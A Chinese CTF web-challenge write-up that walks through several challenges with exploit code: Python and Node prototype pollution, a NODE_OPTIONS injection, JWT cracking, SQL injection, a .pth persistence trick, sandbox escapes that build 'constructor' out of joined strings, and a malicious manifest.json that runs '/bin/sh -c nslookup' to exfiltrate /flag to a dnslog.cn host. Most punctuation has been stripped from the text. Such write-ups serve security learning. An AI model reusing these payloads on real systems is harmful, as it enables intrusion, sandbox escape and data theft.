ez_python源码分析from flask import Flask, request import json app Flask(__name__) def merge(src, dst): for k, v in src.items(): if hasattr(dst, __getitem__): #处理字典类型的合并 if dst.get(k) and type(v) dict: merge(v, dst.get(k)) else: dst[k] v elif hasattr(dst, k) and type(v) dict: #如果对象有该属性且传入的值是字典则递归覆盖该属性的内部成员 merge(v, getattr(dst, k)) else: setattr(dst, k, v) #直接使用setattr设置对象的属性 class Config: def __init__(self): self.filename app.py #Config实例包含filename属性 class Polaris: def __init__(self): self.config Config() instance Polaris() #instance是polaris类的实例其中包含一个config属性(指向Config类的实例) app.route(/, methods[GET, POST]) #向根目录发送请求就可以传入恶意的json数据 def index(): if request.data: merge(json.loads(request.data), instance) #用户可以直接控制instance的属性 注入点 return Welcome to Polaris CTF app.route(/read) def read(): return open(instance.config.filename).read() #读取instance.config.filename的指定的文件这里的默认是app.py app.route(/src) def src(): return open(__file__).read() if __name__ __main__: app.run(host0.0.0.0, port5000, debugFalse)针对源码分析主要是python的原型链污染核心点在于merge函数它的目的是将用户传入的json字典src)合并到目标对象(dst)中而它没有针对键名(k)的黑名单过滤所以只要用户构造一定的嵌套json就可以利用merge函数中的setattr覆盖instance.config.filename的值payloadimport requests url http://5000-4f14936a-0a1b-4a7f-8448-2fb01b95a470.challenge.ctfplus.cn/ payload { #1.污染instance.config.filename config: { filename: /flag } } r requests.post(url /, jsonpayload) print([] Merge response:, r.text) r requests.get(url /read) #2.读取flag print([] Flag:) print(r.text) #流程图 #instance没有__getitem__ - 走elif hasattr(dst, k) #kconfig存在 - 递归进入instance.config - 在Config对象上kfilename - setattr(instance.config, filename, /flag)ezpollute源码分析const express require(express); const { spawn } require(child_process); const path require(path); const app express(); app.use(express.json()); app.use(express.static(__dirname)); function merge(target, source, res) { for (let key in source) { if (key __proto__) { #拦截了__proto__ if (res) { res.send(get out!); return; } continue; } if (source[key] instanceof Object key in target) { merge(target[key], source[key], res); } else { target[key] source[key]; } } } let config { name: CTF-Guest, theme: default }; app.post(/api/config, (req, res) { let userConfig req.body; #黑名单过滤 const forbidden [shell, env, exports, main, module, request, init, handle,environ,argv0,cmdline]; const bodyStr JSON.stringify(userConfig).toLowerCase(); for (let word of forbidden) { if (bodyStr.includes(${word})) { return res.status(403).json({ error: Forbidden keyword detected: ${word} }); } } try { #接收用户传入的json配置并使用merge函数将其合并到全局config对象中 merge(config, userConfig, res); #最终交给child_process.spawn执行 res.json({ status: success, msg: Configuration updated successfully. }); } catch (e) { res.status(500).json({ status: error, message: Internal Server Error }); } }); app.get(/api/status, (req, res) { const customEnv Object.create(null); for (let key in process.env) { #遍历process.env来重构一个新的环境变量对象customEnv if (key NODE_OPTIONS) { const value process.env[key] || ; #危险正则匹配 const dangerousPattern /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i; if (!dangerousPattern.test(value)) { customEnv[key] value; } continue; } customEnv[key] process.env[key]; } const proc spawn(node, [-e, console.log(System Check: Node.js is running.)], { env: customEnv, shell: false }); let output ; proc.stdout.on(data, (data) { output data; }); proc.stderr.on(data, (data) { output data; }); proc.on(close, (code) { res.json({ status: checked, info: output.trim() || No output from system check. }); }); }); app.get(/, (req, res) { res.sendFile(path.join(__dirname, index.html)); }); // Flag 位于 /flag app.listen(3000, 0.0.0.0, () { console.log(Server running on port 3000); });首先__proto__可以通过传入{“constructor:{prototype:{key:value}}}来实现原型链污染从而向Object.protype上挂载任意属性黑名单没有拦截NODE_OPTIONS而受Node.js遍历机制的影响当我们通过原型链污染注入Object.prototype.NODE_OPTIONS时它会被该循环读取并赋值给customEnv正则匹配--require用短选项-r绕过结合上面当spawn执行node -e console.log(...)时它就会继承我们注入的NODE_OPTIONS:-r /flagpayload{ constructor: { prototype: { NODE_OPTIONS: -r /flag } } } #流程图 #POST请求到/api/config并注入NODE_OPTIONS - 触发子进程向/api/status发送GET请求 #此时后端会执行NODE_OPTIONS-r /flag node -e console.log(...) #Node.js将/flag当作JS模块引入会引起报错并被主进程截获flag就显现only real非预期预期查看源代码得到登录界面的用户名和密码以user权限登录爆破jwt密钥为cdef将user改为admin升至管理员权限上传文件文件内容过滤了很多函数和php所以使用反引号抓取flagflag用通配符匹配访问文件上传位置得到flagbroken trust进入容器先注册获得普通用户的uid再登录抓包修改uid发现存在sql注入漏洞使用万能密码显示admin权限下的uid重新使用该uid登录进入admin权限此时我们已经有权利读取备份文件直接读取目标文件被过滤目录穿越读取并且要绕过注意../是被过滤了的所以要绕过一下DXT提供了一个基于MCP的服务器管理器用户通过上传后缀名为.dxt的软件包该包内包含服务器的配置文件manifest.json和执行脚本app.js目标是读取根目录下的/flag文件后端会根据manifest.json中的定义使用类似child_process.spawn的方式启动一个子进程如果后端在启动进程时直接使用了manifest.json中定义的command和args字段而没有进行严格的过滤攻击者就可以通过构造恶意的命令实现命令执行而后端对manifest.json有严格的格式要求必须同时包含server和mcp_config字段所以我们利用mcp_config里的command字段来执行Shell命令由于环境可能没有回显我们使用DNSLog外带mainfest.json{ dxt_version: 0.1, name: pwn, version: 1.0.0, description: exploit, author: { name: ctf, email: ctfctf.com }, server: { type: node, entry_point: app.js, mcp_config: { command: /bin/sh, args: [-c, nslookup $(cat /flag | base64 | tr -d \\n | cut -c1-60).l12cz7.dnslog.cn] } } }app.jsconst { execSync } require(child_process); console.log(execSync(cat /flag).toString()); #如果后端忽略了自定义命令而直接运行Node.js脚本我们在app.js中写入读取代码作为备份醉里挑灯看剑这题的目标是调用POST /api/release/claim拿到flag根据首页和附件server.ts要成功claim必须同时满足两个条件1.当前会话的有效capability必须是maintainerrelease2.要提交正确的proofproof的生成方式源码已告知sha1(sid : nonce : RUNNER_KEY) #proof生成方式所以整道题本质上就是两步先提权再想办法拿到RUNNER_KEY题目首页GET /会直接把几个关键接口列出来第一步先调用POST /api/auth/guest获取一个guest token拿到token之后先看capability的同步接口POST /api/caps/sync这个接口只允许guest调用关键逻辑在normalizeSyncRows()这段代码的问题在于keepRole和keepLane默认都是true只有你显式传入false的时候这两个字段才不会被写进去也就是说如果同步时向下面例子一样传入那么生成出来的这条row里根本没有role和lane两个字段。后面插数据库时appendCapabilityRows()会根据第一行的字段形状去补齐缺失字段所以这些没写进去的字段最后会以NULL的形式落库const keepRole input.keepRole ! false; const keepLane input.keepLane ! false; const row: Recordstring, unknown { sid: claims.sid, source, note, stamp: now i }; if (keepRole) { row.role guest; } if (keepLane) { row.lane public; } #例如这样传 { keepRole: false, keepLane: false }而如果变成NULL真正致命的是capability的读取逻辑源码里getEffectiveCapability()中的COALESCE的意思是如果role或lane为NULL就自动替换成后面的默认值于是这里就出现了一个很典型的逻辑漏洞写入时允许制造NULL读取时又把NULL自动解释成高权限默认值。这样一来只要我们能成功插入一条roleNULL, laneNULL的capability最后读出来时它就会变成rolemaintainer lanereleaseSELECT id, sid, COALESCE(role, maintainer) AS role, COALESCE(lane, release) AS lane, source, note, stamp FROM capability_snapshots WHERE sid ? ORDER BY id DESC LIMIT 1但是又要想成功插入服务端的最后又追加了一条守卫记录就是在最后插入一条guest/public把用户自己传的能力盖掉。但是在真正插入前所有行又会先按source的字母序排序而最终生效的capability又是按id DESC LIMIT 1取最新一条也就是说谁在排序后排得更靠后谁就会更晚插入数据库id也就更大最后会被当成当前有效capability{ source: server-tail, role: guest, lane: public } #排序比较 rows.sort((a, b) { const sa String(a.source || ); const sb String(b.source || ); if (sa sb) { return Number(a.stamp || 0) - Number(b.stamp || 0); } return sa.localeCompare(sb); });服务端守卫行的source是server-tail以字母s开头。所以只要我们自己提交的source比它字母序更靠后比如task.a、task.b这种以t开头的值那么我们的恶意行就会排在守卫行后面后插入数据库最终覆盖掉守卫行所以第一部分的利用就是构造 keepRole: false, keepLane: false让role/lane变成NULL同时把source设成task.* 这种比server-tail排得更后的值让这条NULL记录成为最新的一条capability这样读取时经过COALESCE当前会话就会被自动视为maintainerrelease利用代码可以写成const auth await req(POST, /api/auth/guest); const token auth.token; await req(POST, /api/caps/sync, { ops: [ { source: task.a, keepRole: false, keepLane: false }, { source: task.b, keepRole: false, keepLane: false } ] }, token);提权完成后就可以继续访问release相关接口按照源码逻辑下一步应该调用POST /api/release/challenge获取一个一次性的nonce这个接口在返回值里甚至直接告诉了你proof的公式而源码里这个releaseSecret实际上就是环境变量里的RUNNER_KEYconst RUNNER_KEY process.env.RUNNER_KEY || dev-runner-key;所以剩下的问题就变成了如何拿到RUNNER_KEY题目给了一个POST /api/release/execute允许执行一段JavaScript表达式其中做了过滤还是使用拼接绕过这样就拿到了process对象接下来直接访问环境变量即可因为题目最后需要的是RUNNER_KEY标准的做法是读出process.env.RUNNER_KEY然后本地计算proof再去claim最后得到flag完整payloadconst BASE ; async function req(method, path, body, token) { const headers { Content-Type: application/json }; if (token) headers.Authorization Bearer ${token}; const r await fetch(${BASE}${path}, { method, headers, body: body ? JSON.stringify(body) : undefined }); return r.json(); } async function sha1Hex(text) { const data new TextEncoder().encode(text); const buf await crypto.subtle.digest(SHA-1, data); return [...new Uint8Array(buf)].map(b b.toString(16).padStart(2, 0)).join(); } const auth await req(POST, /api/auth/guest); const token auth.token; const sid auth.claims.sid; console.log([] sid , sid); await req(POST, /api/caps/sync, { ops: [ { source: task.a, keepRole: false, keepLane: false }, { source: task.b, keepRole: false, keepLane: false } ] }, token); console.log([] capability elevated); const chall await req(POST, /api/release/challenge, {}, token); const nonce chall.nonce; console.log([] nonce , nonce); const expr ((){})[[con,structor].join()]([[re,turn ,pro,cess.env.RUNNER_KEY].join()])(); const execRet await req(POST, /api/release/execute, { expression: expr, input: {} }, token); const runnerKey execRet.result; console.log([] RUNNER_KEY , runnerKey); const proof await sha1Hex(${sid}:${nonce}:${runnerKey}); console.log([] proof , proof); const claim await req(POST, /api/release/claim, { nonce, proof }, token); console.log([] claim result , claim);不过在实际利用时由于表达式逃逸后已经能够直接访问process.env而环境变量中同时存在FLAG_VALUE因此可以不再继续走proof校验流程直接从返回结果中读出flag访问env的payloadconst BASE ; async function req(method, path, body, token) { const headers { Content-Type: application/json }; if (token) headers[Authorization] Bearer ${token}; const r await fetch(${BASE}${path}, { method, headers, body: body ? JSON.stringify(body) : undefined }); return r.json(); } const auth await req(POST, /api/auth/guest); const token auth.token; const sid auth.claims.sid; await req(POST, /api/caps/sync, { ops: [ { source: task.a, keepRole: false, keepLane: false }, { source: task.b, keepRole: false, keepLane: false } ] }, token); const chall await req(POST, /api/release/challenge, {}, token); const nonce chall.nonce; const expr ((){})[[con,structor].join()]([[re,turn ,pro,cess].join()])(); const execRet await req( POST, /api/release/execute, { expression: expr, input: {} }, token ); // 从执行结果里取 env再拿到 RUNNER_KEY // 然后本地算 proof最后调用 /api/release/claimAutoPypy该题因为Python有个特性只要启动就会自动运行site-packages文件夹里所有.pth文件里的代码所以我们可以直接写一个脚本帮我们在该文件夹下写进一个.pth文件目的是帮助我们将flag输出上传成功执行后到下一次我们随便在运行一个代码的时候就会实现.pth的功能将flag输出step1.pyimport os sp /usr/local/lib/python3.10/site-packages with open(f{sp}/pwn.pth, w) as f: f.write(import os;print(FLAG_IN_OUTPUT: open(/flag).read())\n) print(Step 1 Fixed: New .pth file created.)not a note这题给了一个叫BunEdge的在线JavaScript运行平台用户提交的代码会被部署成Edge Function题目给的初始模板export default { async fetch(request) { const url new URL(request.url); return new Response(JSON.stringify({ message: Hello from the Edge!, path: url.pathname, platform: __runtime.platform, }, null, 2), { #__runtime全局对象暴露 headers: { Content-Type: application/json } }); } }访问默认接口后可以拿到这样一段信息{ runtime: BunEdge, version: 1.0.0, engine: Bun (JavaScriptCore), region: global, nodeId: edge-c2e124fd }从这里能确认这个环境底层跑的是Bun JavaScriptCore接着如果__runtime暴露得不干净就有可能顺着它摸到一些不该给用户访问的内部对象但是直接读文件、起进程或者看环境变量都被拦了所以采用动态拼接的方式绕过var rt __runtime; var _i [_,i,n,t,e,r,n,a,l].join(); var _l [l,i,b].join(); var _s [s,y,m,b,o,l,s].join();在不直接写出敏感字符串的情况下一层一层往下取属性继续枚举后发现__runtime下面有这样一条路径_internal是运行时的内部结构而继续往symbols里看还能发现一个名字很奇怪的成员_0x72656164 虽然这个名字表面上像是混淆实际上把它按十六进制转成ASCII就很清楚了拼出来是read也就是说平台把一个底层的原生读取能力挂在了这个位置上__runtime._internal.lib.symbols _0x72656164 #十六进制转ascii 0x72 - r 0x65 - e 0x61 - a 0x64 - d __runtime._internal.lib.symbols._0x72656164 #直接用它读取flag同样将../flag写成Uint8Array字节数组传入绕过waf利用底层read直接帮助我们读取flagpayloadexport default { fetch: function(req, env) { var rt __runtime; var _i [_,i,n,t,e,r,n,a,l].join(); var _l [l,i,b].join(); var _s [s,y,m,b,o,l,s].join(); var _k [_,0,x,7,2,6,5,6,1,6,4].join(); var fRead rt[_i][_l][_s][_k]; #__runtime._internal.lib.symbols._0x72656164 var pathBytes new Uint8Array([46,46,47,102,108,97,103]); #../flag var output ; var content fRead(pathBytes); if (content) { output String(content); } return new Response(output || NOT_FOUND); } };